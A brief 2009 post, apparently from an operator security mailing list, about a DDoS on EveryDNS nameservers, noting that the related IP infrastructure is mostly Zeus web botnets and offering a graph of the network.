[nsp-sec] DDoS to EveryDNS nameserver IPs

Wed Feb 4 20:47:19 EST 2009

Indeed, it seems there's quite a bit behind that IP, mostly Web based
botnets of the Zeus flavor.

I've attached a quick 1/2 level deep PDF snapshot of the Ips - hopefully
puck will cooperate.  If it doesn't I'll post a private URL.  If interested
we can pull out all the nodes for easier parsing.  It's quite an elaborate
network, and it gets really interesting if you go 1-2 more levels down.

Graph compressed on whitespace to make it easier for smaller screens.

Enjoy!

Cheers,
